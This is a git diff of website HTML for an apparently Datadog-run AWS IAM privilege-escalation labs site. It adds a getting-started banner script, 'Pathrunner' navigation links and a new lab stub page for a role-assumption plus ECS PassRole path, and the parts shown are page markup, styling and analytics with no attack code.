+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/sts-001-to-bucket/index.html b/docs/labs/sts-001-to-bucket/index.html
index 9df3e4e8..b5902548 100644
--- a/docs/labs/sts-001-to-bucket/index.html
+++ b/docs/labs/sts-001-to-bucket/index.html
@@ -91,6 +91,7 @@
                     </div>
                 </div>
                 <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
             </nav>
             <div class="header-right">
                 <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
@@ -149,6 +150,14 @@
                     <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
                     <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
                 </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
             </nav>
         </div>
     </div>
@@ -197,6 +206,37 @@
                     </a>
                 </div>
             </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
         </nav>
 
         <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
@@ -331,18 +371,12 @@
                     <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
                     <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
                     <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
-                    <div class="filter-pill-item" data-value="Tool Testing">Tool Testing</div>
-                    <div class="filter-pill-item" data-value="CTF">CTF</div>
-                    <div class="filter-pill-item" data-value="Attack Simulation">Attack Simulation</div>
                 </div>
                 <select id="category-filter" hidden>
                     <option value="">All Categories</option>
                     <option value="Privilege Escalation">Privilege Escalation</option>
                     <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
                     <option value="CSPM: Toxic Combination">Toxic Combination</option>
-                    <option value="Tool Testing">Tool Testing</option>
-                    <option value="CTF">CTF</option>
-                    <option value="Attack Simulation">Attack Simulation</option>
                 </select>
             </div>
 
@@ -355,7 +389,6 @@
                     <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
                     <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
                     <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
-                    <div class="filter-pill-item" data-value="attack-simulation">Attack Simulation</div>
                 </div>
                 <select id="path-type-filter" hidden>
                     <option value="">All Types</option>
@@ -363,7 +396,6 @@
                     <option value="one-hop">One-Hop</option>
                     <option value="multi-hop">Multi-Hop</option>
                     <option value="cross-account">Cross-Account</option>
-                    <option value="attack-simulation">Attack Simulation</option>
                 </select>
             </div>
 
diff --git a/docs/labs/sts-001-to-ecs-002-to-admin/index.html b/docs/labs/sts-001-to-ecs-002-to-admin/index.html
new file mode 100644
index 00000000..034e5f48
--- /dev/null
+++ b/docs/labs/sts-001-to-ecs-002-to-admin/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>Role Assumption + ECS Service Creation to Admin - pathfinding.cloud Labs</title>
+    <meta name="description" content="Assume a role with ECS permissions, then use PassRole combined with ECS Fargate to run a task with an administrative role">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/sts-001-to-ecs-002-to-admin/">
+    <meta property="og:title" content="Role Assumption + ECS Service Creation to Admin - pathfinding.cloud Labs">
+    <meta property="og:description" content="Assume a role with ECS permissions, then use PassRole combined with ECS Fargate to run a task with an administrative role">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="Role Assumption + ECS Service Creation to Admin - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Assume a role with ECS permissions, then use PassRole combined with ECS Fargate to run a task with an administrative role">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
